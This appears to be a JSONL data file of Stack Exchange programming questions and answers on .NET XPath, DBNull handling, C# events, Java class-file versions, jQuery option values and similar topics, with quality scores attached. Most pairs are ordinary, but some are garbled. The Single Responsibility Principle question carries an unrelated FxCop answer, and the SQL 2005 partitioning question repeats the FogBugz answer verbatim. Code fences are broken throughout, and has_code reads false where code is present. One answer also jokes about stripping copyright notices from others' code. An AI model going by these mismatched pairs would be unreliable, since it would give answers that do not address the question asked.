{"id": "hf_c1ade66f4385", "question": "<p>I'm using XPath in .NET to parse an XML document, along the lines of:</p>\n\n<pre class=\"lang-cs prettyprint-override\"><code>XmlNodeList lotsOStuff = doc.SelectNodes(\"//stuff\");\n\nforeach (XmlNode stuff in lotsOStuff) {\n   XmlNode stuffChild = stuff.SelectSingleNode(\"//stuffChild\");\n   // ... etc\n}\n</code></pre>\n\n<p>The issue is that the XPath Query for <code>stuffChild</code> is always returning the child of the first <code>stuff</code> element, never the rest. Can XPath not be used to query against an individual <code>XMLElement</code>?</p>\n", "question_body": "", "answer": "```\n//\n```\nat the beginning of an XPath expression starts from the document root.  Try \".//stuffChild\".  . is shorthand for self::node(), which will set the context for the search, and // is shorthand for the descendant axis.\nSo you have:\n```\n```\nXmlNode stuffChild = stuff.SelectSingleNode(\".//stuffChild\");\n```\n```\nwhich translates to:\nxmlNode stuffChild = stuff.SelectSingleNode(\"self::node()/descendant::stuffChild\");\n```\n```\nxmlNode stuffChild = stuff.SelectSingleNode(\"self::node()/descendant-or-self::stuffChild\");\n```\n```\nIn the case where the child node could have the same name as the parent, you would want to use the slightly more verbose syntax that follows, to ensure that you don't re-select the parent:\n```\n```\nxmlNode stuffChild = stuff.SelectSingleNode(\"self::node()/descendant::stuffChild\");\n```\n```\nAlso note that if \"stuffChild\" is a direct descendant of \"stuff\", you can completely omit the prefixes, and just select \"stuffChild\".\n```\n```\nXmlNode stuffChild = stuff.SelectSingleNode(\"stuffChild\");\n```\n```\nThe\nW3Schools\ntutorial has helpful info in an easy to digest format.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.952752"}
{"id": "hf_9d009616516f", "question": "<p>I frequently have problems dealing with <code>DataRows</code> returned from <code>SqlDataAdapters</code>. When I try to fill in an object using code like this:</p>\n\n<pre><code>DataRow row = ds.Tables[0].Rows[0];\nstring value = (string)row;\n</code></pre>\n\n<p>What is the best way to deal with <code>DBNull's</code> in this type of situation.</p>\n", "question_body": "", "answer": "Nullable types are good, but only for types that are not nullable to begin with.\nTo make a type \"nullable\" append a question mark to the type, for example:\n```\n```\nint? value = 5;\n```\n```\nI would also recommend using the \"\n```\nas\n```\n\" keyword instead of casting. You can only use the \"as\" keyword on nullable types, so make sure you're casting things that are already nullable (like strings) or you use nullable types as mentioned above. The reasoning for this is\nIf a type is nullable, the \"\n```\nas\n```\n\" keyword returns\n```\nnull\n```\nif a value is\n```\nDBNull\n```\n.\nIt's\never-so-slightly faster than casting\nthough\nonly in certain cases\n. This on its own is never a good enough reason to use\n```\nas\n```\n, but coupled with the reason above it's useful.\nI'd recommend doing something like this\n```\n```\nDataRow row = ds.Tables[0].Rows[0];\nstring value = row as string;\n```\n```\nIn the case above, if\n```\nrow\n```\ncomes back as\n```\nDBNull\n```\n, then\n```\nvalue\n```\nwill become\n```\nnull\n```\ninstead of throwing an exception. Be aware that if your DB query changes the columns/types being returned,\nusing\n```\nas\n```\nwill cause your code to silently fail\nand make values simple\n```\nnull\n```\ninstead of throwing the appropriate exception when incorrect data is returned so it is recommended that you have tests in place to validate your queries in other ways to ensure data integrity as your codebase evolves.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:03.979885"}
{"id": "hf_cf21d51bb64e", "question": "<p>I'm currently using the module <code>URI::URL</code> to generate a full URL from a relative URL; however, it isn't running as fast as I'd like it to be. Does anyone know another way to do this that may be faster?</p>\n", "question_body": "", "answer": "Perhaps I got the wrong end of the stick but wouldn't,\n```\n```\n$full_url = $base_url . $relative_url\n```\n```\nwork? IIRC Perl text processing is pretty quick.\n@lennysan\nAh sure yes of course. Sorry I can't help, my Perl is pretty rusty.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.096710"}
{"id": "hf_35b1f8472a39", "question": "<p>Using C# and ASP.NET I want to programmatically fill in some values (4 text boxes) on a web page (form) and then 'POST' those values. How do I do this?</p>\n\n<p>Edit: Clarification: There is a service (www.stopforumspam.com) where you can submit ip, username and email address on their 'add' page. I want to be able to create a link/button on my site's page that will fill in those values and submit the info without having to copy/paste them across and click the submit button.</p>\n\n<p>Further clarification: How do automated spam bots fill out forms and click the submit button if they were written in C#?</p>\n", "question_body": "", "answer": "The code will look something like this:\n```\n```\nWebRequest req = WebRequest.Create(\"http://mysite/myform.aspx\");\nstring postData = \"item1=11111&item2=22222&Item3=33333\";\n\nbyte[] send = Encoding.Default.GetBytes(postData);\nreq.Method = \"POST\";\nreq.ContentType = \"application/x-www-form-urlencoded\";\nreq.ContentLength = send.Length;\n\nStream sout = req.GetRequestStream();\nsout.Write(send, 0, send.Length);\nsout.Flush();\nsout.Close();\n\nWebResponse res = req.GetResponse();\nStreamReader sr = new StreamReader(res.GetResponseStream());\nstring returnvalue = sr.ReadToEnd();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.119687"}
{"id": "hf_01f147574df9", "question": "<p>In C#, what is the difference (if any) between these two lines of code?</p>\n\n<pre><code>tmrMain.Elapsed += new ElapsedEventHandler(tmrMain_Tick);\n</code></pre>\n\n<p>and</p>\n\n<pre><code>tmrMain.Elapsed += tmrMain_Tick;\n</code></pre>\n\n<p>Both appear to work exactly the same. Does C# just assume you mean the former when you type the latter?</p>\n", "question_body": "", "answer": "I did this\n```\n```\nstatic void Hook1()\n{\n    someEvent += new EventHandler( Program_someEvent );\n}\n\nstatic void Hook2()\n{\n    someEvent += Program_someEvent;\n}\n```\n```\nAnd then ran ildasm over the code.\nThe generated MSIL was exactly the same.\nSo to answer your question, yes they are the same thing.\nThe compiler is just inferring that you want\n```\nsomeEvent += new EventHandler( Program_someEvent );\n```\n-- You can see it creating the new\n```\nEventHandler\n```\nobject in both cases in the MSIL", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.166310"}
{"id": "hf_e415b2174216", "question": "<p>As someone who hasn't used either technology on real-world projects I wonder if anyone knows how these two complement each other and how much their functionalities overlap?</p>\n", "question_body": "", "answer": "Can you clarify what you mean by \"LINQ\"?\nLINQ isn't an data access technology, it's just a language feature which supports querying as a native construct. It can query any object model which supports specific interfaces (e.g. IQueryable).\nMany people refer to LINQ To SQL as LINQ, but that's not at all correct. Microsoft has just released LINQ To Entities with .NET 3.5 SP1. Additionally, NHibernate has a LINQ interface, so you could use LINQ and NHibernate to get at your data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.272660"}
{"id": "hf_4e148fabb16d", "question": "<p>I have been in both situations: </p>\n\n<ul>\n<li>Creating too many custom Exceptions</li>\n<li>Using too many general Exception class</li>\n</ul>\n\n<p>In both cases the project started OK but soon became an overhead to maintain (and refactor).</p>\n\n<p>So what is the best practice regarding the creation of your own Exception classes?</p>\n", "question_body": "", "answer": "Basically, each job deserves an own exception. When you catch exceptions, you don't distinguish different instances, like you would normally do with objects, therefore you need different subtypes. Using too many custom exceptions is a case which I see hardly occurring.\nOne advice would be to create exceptions as needed, and if it becomes apparent that one exception type is a duplicate of another, refactor the code by merging the two. Of course it helps if some thought goes into structuring exceptions from the beginning. But generally, use custom exceptions for all cases that have no 1:1 correspondence to existing, situation-specific exceptions.\nOn the other hand,\n```\nNullPointerException\n```\ns and\n```\nIndexOutofBoundsException\n```\ns might actually often be appropriate. Don't catch these, though (except for logging) as they're a programming error which means that after throwing them, the program is in an undefined state.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.299729"}
{"id": "hf_7f27cced37b1", "question": "<p>When applying the Single Responsibility Principle and looking at a class's reason to change, how do you determine whether that reason too change is too granular, or not granular enough?</p>\n", "question_body": "", "answer": "Rewrite your code in a passing style!\nSeriously, an old code base will have hundreds of errors - but that's why we have novice/intern programmers. Correcting FxCop violations is a great way to get an overview of the code base and also learn how to write conforming .NET code.\nSo just bite the bullet, drink lots of caffeine, and just get through it in a couple days!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.334907"}
{"id": "hf_e8bf76f04fc1", "question": "<p>So you know a lot of Mac apps use \"bundles\":  It looks like a single file to your application, but it's actually a folder with many files inside.</p>\n\n<p>For a version control system to handle this, it needs to:</p>\n\n<ul>\n<li>check out all the files in a directory, so the app can modify them as necessary</li>\n<li>at checkin,\n\n<ul>\n<li>commit files which have been modified</li>\n<li>add new files which the application has created</li>\n<li>mark as deleted files which are no longer there (since the app deleted them)</li>\n<li>manage this as one atomic change</li>\n</ul></li>\n</ul>\n\n<p>Any ideas on the best way to handle this with existing version control systems?  Are any of the versioning systems more adept in this area? </p>\n", "question_body": "", "answer": "Mercurial in particular versions based on file, not directory structure.  Therefore, your working tree, which is a fully-fledged repository, doesn't spit out .svn folders at each level.\nIt also means that a directory that is replaced, like an Application or other Bundle, will still find it's contents with particular file names under revision control.  File names are monitored, not inodes or anything fancy like that!\nObviously, if a new file is added to the Bundle, you'll need to explicitly add this to your repository.  Similarly, removing a file from a Bundle should be done with an 'hg rm'.\nThere aren't any decent Mercurial GUIs for OS X yet, but if all you do is add/commit/merge, it isn't that hard to use a command line.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.368910"}
{"id": "hf_55a7a5747c90", "question": "<p>Do any of you know of a tool that will search for .class files and then display their compiled versions?</p>\n\n<p>I know you can look at them individually in a hex editor but I have a lot of class files to look over (something in my giant application is compiling to Java6 for some reason).</p>\n", "question_body": "", "answer": "It is easy enough to read the\nclass file signature\nand get these values without a 3rd party API. All you need to do is read the first 8 bytes.\n```\n```\nClassFile {\n    u4 magic;\n    u2 minor_version;\n    u2 major_version;\n```\n```\nFor class file version 51.0 (Java 7), the opening bytes are:\n```\n```\nCA FE BA BE 00 00 00 33\n```\n```\n...where 0xCAFEBABE are the magic bytes, 0x0000 is the minor version and 0x0033 is the major version.\n```\n```\nimport java.io.*;\n\npublic class Demo {\n  public static void main(String[] args) throws IOException {\n    ClassLoader loader = Demo.class.getClassLoader();\n    try (InputStream in = loader.getResourceAsStream(\"Demo.class\");\n        DataInputStream data = new DataInputStream(in)) {\n      if (0xCAFEBABE != data.readInt()) {\n        throw new IOException(\"invalid header\");\n      }\n      int minor = data.readUnsignedShort();\n      int major = data.readUnsignedShort();\n      System.out.println(major + \".\" + minor);\n    }\n  }\n}\n```\n```\nWalking directories (\nFile\n) and archives (\nJarFile\n) looking for class files is trivial.\nOracle's\nJoe Darcy's blog\nlists the\nclass version to JDK version mappings\nup to Java 7:\n```\n```\nTarget   Major.minor Hex\n1.1      45.3        0x2D\n1.2      46.0        0x2E\n1.3      47.0        0x2F\n1.4      48.0        0x30\n5 (1.5)  49.0        0x31\n6 (1.6)  50.0        0x32\n7 (1.7)  51.0        0x33\n8 (1.8)  52.0        0x34\n9        53.0        0x35\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.438123"}
{"id": "hf_617e72a6225c", "question": "<p>I have an old C library with a function that takes a void**:</p>\n\n<pre><code>oldFunction(void** pStuff);\n</code></pre>\n\n<p>I'm trying to call this function from managed C++ (m_pStuff is a member of the parent ref class of type void*):</p>\n\n<pre><code>oldFunction( static_cast&lt;sqlite3**&gt;(  &amp;m_pStuff ) );\n</code></pre>\n\n<p>This gives me the following error from Visual Studio:</p>\n\n<blockquote>\n  <p>error C2440: 'static_cast' : cannot convert from 'cli::interior_ptr' to 'void **'</p>\n</blockquote>\n\n<p>I'm guessing the compiler is converting the void* member pointer to a cli::interior_ptr behind my back.</p>\n\n<p>Any advice on how to do this?</p>\n", "question_body": "", "answer": "EDIT: Fixed answer, see below.\nReally you need to know what oldFunction is going to be doing with pStuff. If pStuff is a pointer to some unmanaged data you can try wrapping the definition  of m_pStuff with:\n```\n```\n#pragma unmanaged\n\nvoid* m_pStuff\n\n#pragma managed\n```\n```\nThis will make the pointer unmanaged which can then be passed into unmanaged functions. Of course you will not be able to assign any managed objects to this pointer directly.\nFundamentally unmanaged and managed pointers are not the same and can't be converted without some sort of glue code that copies the underlying data. Basically managed pointers point to the managed heap and since this is garbage collected the actual memory address they point to can change over time. Unmanaged pointers do not change the memory address without you explicitly doing so.\nScratch that, you can't define unmanaged / managed inside a class definition. But this test code seems to work just fine:\n```\n```\n// TestSol.cpp : main project file.\n\n#include \"stdafx.h\"\n\nusing namespace System;\n\n#pragma unmanaged\n\nvoid oldFunction(void** pStuff)\n{\n    return;\n}\n\n#pragma managed\n\nref class Test\n{\npublic:\n    void* m_test;\n\n};\n\nint main(array<System::String ^> ^args)\n{\n    Console::WriteLine(L\"Hello World\");\n\n    Test^ test = gcnew Test();\n    void* pStuff = test->m_test;\n    oldFunction(&pStuff);\n    test->m_test = pStuff;\n\n    return 0;\n}\n```\n```\nHere I copy the pointer out of the managed object first and then pass that in by to the oldFunction. Then I copy the result (probably updated by oldFunction) back into the managed object. Since the managed object is on the managed heap, the compiler won't let you pass a reference to the pointer contained in that object as it may move when the garbage collector runs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.461752"}
{"id": "hf_14e4843d37a6", "question": "<p>I have a bunch of perfmon files that have captured information over a period of time. Whats the best tool to crunch this information? Idealy I'd like to be able to see avg stats per hour for the object counters that have been monitored.</p>\n", "question_body": "", "answer": "Perhaps look into using\nLogParser\n.\nIt depends on how the info was logged (Perfmon doesn't lack flexibility)\nIf they're CSV you can even use the ODBC Text drivers and run queries against them!\n(performance would be 'intriguing')\nAnd here's the obligatory link to a\nCodingHorror article\non the topic ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.522159"}
{"id": "hf_3c61a2f82a38", "question": "<p>Can anyone recommend a library for chart generation (bar charts, pie charts etc.) which runs on both Java and .Net?</p>\n", "question_body": "", "answer": "Have you looking into using\nJFreeChart\n.\nI have used it on a few Java projects and its very configurable. Its free but I think you can purchase the developers guide for $50. Its good for quick simple charts too. However performance for real-time data is not quite up to par (Check out the\nFAQ\n).\nThey also have a port to\n.NET\nhowever I have never used it.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.554623"}
{"id": "hf_725d0206a550", "question": "<p>I was wondering if I could access the iPhones Core Location framework over a website?</p>\n\n<p>My goal is to build a webapp/website that the iPhone would browse to, then upload its current GPS location. This would be a simple site primary for friends/family so we could locate each other. I can have them manually enter lng/lat but its not the easiest thing to find. If the iPhone could display or upload this automatically it would be great.</p>\n\n<p>I don't own a Mac yet (waiting for the new Mac Book Pro) but would like something a little more automatic right now. Once I have the mac I could download the SDK and build a better version later. For now a webapp version would be great if possible. Thanks.</p>\n", "question_body": "", "answer": "I'm pretty sure you can't do what you want directly.\nThe best idea I can come up with is to \"reuse\" an iPhone app that records location and makes it accessible on the web. Take Twitter for example. If I'm not mistaken, Tapulous' app Twinkle will grab your location and post it to your Twitter.com user profile. Here's an example of what that looks like:\nFrom your webapp, you could then scrape the user page for each person whose location you're interested in. It's a pain in the butt, but like I said, this is the best I could come up with.\nAgain, if you don't want to mess with Twitter, there may be other apps out there that do this as well, but I don't personally know of any. Good luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.578310"}
{"id": "hf_795ca3558e5d", "question": "<p>Can fogbugz track case dependencies?</p>\n", "question_body": "", "answer": "Yes and no. Cases can be linked to each other, but if you're looking for a tree of cases (prerequisites and such), you need FogBugz 7 or later.\nIf you're using FogBugz 7.3 or greater, you can now use the\nCase Dependency Plugin\n, which was released in April 2011.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.626383"}
{"id": "hf_1029192b2b87", "question": "<p>I'm comparing between two techniques to create partitioned tables in SQL 2005.</p>\n\n<ul>\n<li>Use partitioned views with a standard version of SQL 2005 (described <a href=\"http://www.sqlservercentral.com/articles/SQL+Server+2005/61676/\" rel=\"nofollow noreferrer\">here</a>)</li>\n<li>Use the built in partition in the Enterprise edition of SQL 2005 (described <a href=\"http://www.sqlservercentral.com/articles/SQL+Server+2005/61765/\" rel=\"nofollow noreferrer\">here</a>)</li>\n</ul>\n\n<p>Given that the enterprise edition is much more expensive, I would like to know what are the main benefits of the newer enterprise built-in implementation. Is it just an time saver for the implementation itself. Or will I gain real performance on large DBs?</p>\n\n<p>I know i can adjust the constraints in the first option to keep a sliding window into the partitions. Can I do it with the built in version?</p>\n", "question_body": "", "answer": "Yes and no. Cases can be linked to each other, but if you're looking for a tree of cases (prerequisites and such), you need FogBugz 7 or later.\nIf you're using FogBugz 7.3 or greater, you can now use the\nCase Dependency Plugin\n, which was released in April 2011.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.650481"}
{"id": "hf_b71d3478bcb2", "question": "<p>Given a select with multiple option's in jQuery. </p>\n\n<pre><code>$select = $(\"&lt;select&gt;&lt;/select&gt;\");\n$select.append(\"&lt;option&gt;Jason&lt;/option&gt;\") //Key = 1\n       .append(\"&lt;option&gt;John&lt;/option&gt;\") //Key = 32\n       .append(\"&lt;option&gt;Paul&lt;/option&gt;\") //Key = 423\n</code></pre>\n\n<p>How should the key be stored and retrieved?</p>\n\n<p>The ID may be an OK place but would not be guaranteed unique if I had multiple select's sharing values (and other scenarios).</p>\n\n<p>Thanks</p>\n\n<p>and in the spirit of TMTOWTDI.</p>\n\n<pre><code>$option = $(\"&lt;option&gt;&lt;/option&gt;\");\n$select = $(\"&lt;select&gt;&lt;/select&gt;\");\n$select.addOption = function(value,text){\n    $(this).append($(\"&lt;option/&gt;\").val(value).text(text));\n};\n\n$select.append($option.val(1).text(\"Jason\").clone())\n       .append(\"&lt;option value=32&gt;John&lt;/option&gt;\")\n       .append($(\"&lt;option/&gt;\").val(423).text(\"Paul\"))\n       .addOption(\"321\",\"Lenny\");\n</code></pre>\n", "question_body": "", "answer": "The HTML\n```\n<option>\n```\ntag has an attribute called \"value\", where you can store your key.\ne.g.:\n```\n```\n<option value=1>Jason</option>\n```\n```\nI don't know how this will play with jQuery (I don't use it), but I hope this is helpful nonetheless.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.674765"}
{"id": "hf_16e7e4e75b75", "question": "<p>I'm looking for a method, or a code snippet for converting std::string to LPCWSTR</p>\n", "question_body": "", "answer": "If you are in an ATL/MFC environment, You can use the ATL conversion macro:\n```\n```\n#include <atlbase.h>\n#include <atlconv.h>\n\n. . .\n\nstring myStr(\"My string\");\nCA2W unicodeStr(myStr);\n```\n```\nYou can then use unicodeStr as an LPCWSTR.  The memory for the unicode string is created on the stack and released then the destructor for unicodeStr executes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.698752"}
{"id": "hf_7899f9c63401", "question": "<p>What kinds of considerations are there for migrating an application from <strong>NHibernate</strong> 1.2 to 2.0? What are breaking changes vs. recommended changes? </p>\n\n<p>Are there mapping issues?</p>\n", "question_body": "", "answer": "Breaking changes in NHibernate 2.0\nIf you have good test coverage it's busywork.\nEdit: We upgraded this morning.  There is nothing major.  You have to Flush() the session after you delete.  The Expression namespace got renamed to Criterion.  All these are covered in the link above.  Mappings need no change.  It's quite transparent.  Oh, and transactions\neverywhere\n, but you were probably doing that already.\nBy the way, here's an interesting look at the changes:\nhttp://codebetter.com/blogs/patricksmacchia/archive/2008/08/26/nhibernate-2-0-changes-overview.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.759388"}
{"id": "hf_eb62370bcaba", "question": "<p>I know that this should be easy but how do I export/save a DataGridView to excel?</p>\n", "question_body": "", "answer": "Does it need to be a native XLS file? Your best bet is probably just to export the data to a CSV file, which is plain text and reasonably easy to generate. CSVs open in Excel by default for most users so they won't know the difference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.844464"}
{"id": "hf_efda8c2bac8d", "question": "<p>I'm running MAMP 1.7.2 on a Mac and I'd like to install the extension php_gd2.  How do I do this?  I know that on Windows using WAMP I'd simply select the <code>php_gd2</code> entry in the extensions menu to activate it.  How is it done when using MAMP? I know that I can do it using MacPorts but I'd prefer not to make any changes to my default OS X PHP installation. </p>\n", "question_body": "", "answer": "You shouldn't need to install the extension.  I have 1.7.2 installed and running right now and it has GD bundled (2.0.34 compatible).\nFrom the MAMP start page, click on phpinfo and you should see a GD section.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.903133"}
{"id": "hf_0c8d3904f3c1", "question": "<p>On an 8-bit micro controller I would like to do the following:</p>\n\n<pre><code>16bit_integer = another_16bit_integer * 0.997;</code></pre>\n\n<p>with the least possible number of instructions.</p>\n", "question_body": "", "answer": "How about integer arithmetic in 32 bits?\n```\n```\n16bit_integer = (int16_t) (another_16bit_integer * (int32_t) 997 / 1000);\n```\n```\n32 bits will be enough to store (INT16_MAX × 997), do the sum on values 1000 times larger then divide back to your 16 bit scale.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.950366"}
{"id": "hf_560b07eb02fd", "question": "<p>I am working on a web application using Python (Django) and would like to know whether MySQL or PostgreSQL would be more suitable when deploying for production.</p>\n<p>In one <a href=\"https://blog.stackoverflow.com/2008/06/podcast-8/\">podcast</a> Joel said that he had some problems with MySQL and the data wasn't consistent.</p>\n<p>I would like to know whether someone had any such problems. Also when it comes to performance which can be easily tweaked?</p>\n", "question_body": "", "answer": "Well, I don't think you should be using a different database brand in anything past development (build, staging, prod) as that will come back to bite you.\nFrom how I understand it PostgreSQL is a more 'correct' database implementation while mySQl is less correct (less compliant) but faster.\nSo if you are pretty much writing a CRUD application mySQL is the way to go. If you require certain features out of your database (if you're not sure then you don't) then you may want to look into postgreSQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:04.986771"}
{"id": "hf_06c79ccb7134", "question": "<p>I've learned in College that you always have to free your unused Objects but not how you actually do it. For example structuring your code right and so on. \nAre there any general rules on how to handle pointers in C++? </p>\n\n<p>I'm currently not allowed to use boost. I have to stick to pure c++ because the framework I'm using forbids any use of generics.</p>\n", "question_body": "", "answer": "Rules:\nWherever possible, use a\nsmart pointer\n.  Boost has some\ngood ones\n.\nIf you\ncan't use a smart pointer,\nnull out\nyour pointer after deleting it\n.\nNever work anywhere that won't let you use rule 1.\nIf someone disallows rule 1, remember that if you grab someone else's code, change the variable names and delete the copyright notices, no-one will ever notice.  Unless it's a school project, where they actually check for that kind of shenanigans with quite sophisticated tools.  See also,\nthis question\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.072117"}
{"id": "hf_38bf7493045d", "question": "<p>How do I check if an object property in JavaScript is undefined?</p>\n", "question_body": "", "answer": "```\n```\nif (somevariable == undefined) {\n  alert('the variable is not defined!');\n}\n```\n```\nYou can also make it into a function, as shown\nhere\n:\n```\n```\nfunction isset(varname){\n  return(typeof(window[varname]) != 'undefined');\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.112700"}
{"id": "hf_d0a0a1baa517", "question": "<p>Given 2 rgb colors and a rectangular area, I'd like to generate a basic linear gradient between the colors. I've done a quick search and the only thing I've been able to find is <a href=\"http://jtauber.com/blog/2008/05/18/creating_gradients_programmatically_in_python/\" rel=\"noreferrer\">this blog entry</a>, but the example code seems to be missing, or at least it was as of this posting. Anything helps, algorithms, code examples, whatever. This will be written in Java, but the display layer is already taken care of, I just need to figure out how to figure out what to display.</p>\n", "question_body": "", "answer": "you want an interpolation between the first and the second colour. Interpolating colours is easy by calculating the same interpolation for each of its components (R, G, B). There are many ways to interpolate. The easiest is to use linear interpolation: just take percentage\np\nof the first colour and percentage 1 -\np\nof the second:\n```\n```\nR = firstCol.R * p + secondCol.R * (1 - p)\n```\n```\nThere's\nanother question\nrelated to this.\nThere are other methods of interpolation that sometimes work better. For example, using a\nbell-shaped (sigmoidal)\ninterpolation function makes the transition smoother.\n/EDIT: Oops, you mean using a predefined function. OK, even easier. The blog post you linked now has an example code in Python.\nIn Java, you could use the\n```\nGradientPaint\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.136675"}
{"id": "hf_52d372e4817c", "question": "<p>The ones that stick out and make life usefull.</p>\n", "question_body": "", "answer": "Here is one for a testClass with Nunit support.\n```\n```\nImports Nunit.FrameWork\n\n    Namespace $NAMESPACE$\n    ''' \n    ''' A TestClass\n    ''' \n    ''' \n     _\n    Public Class $CLASSNAME$\n\n#Region \" Setup and TearDown \"\n        ''' \n        ''' Sets up the Tests\n        ''' \n        ''' \n         _\n        Public Sub Setup()\n\n            End Sub\n\n        ''' \n        ''' Tears down the test. Is executed after the Test is Completed\n        ''' \n        ''' \n         _\n        Public Sub TearDown()\n\n        End Sub      \n#End Region  \n\n#Region \" Tests \"\n                ''' \n        ''' A Test\n        ''' \n        ''' \n             _\n            Public Sub $Test_Name$()\n\n            End Sub\n#End Region\n\n    End Class\nEnd Namespace\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.173131"}
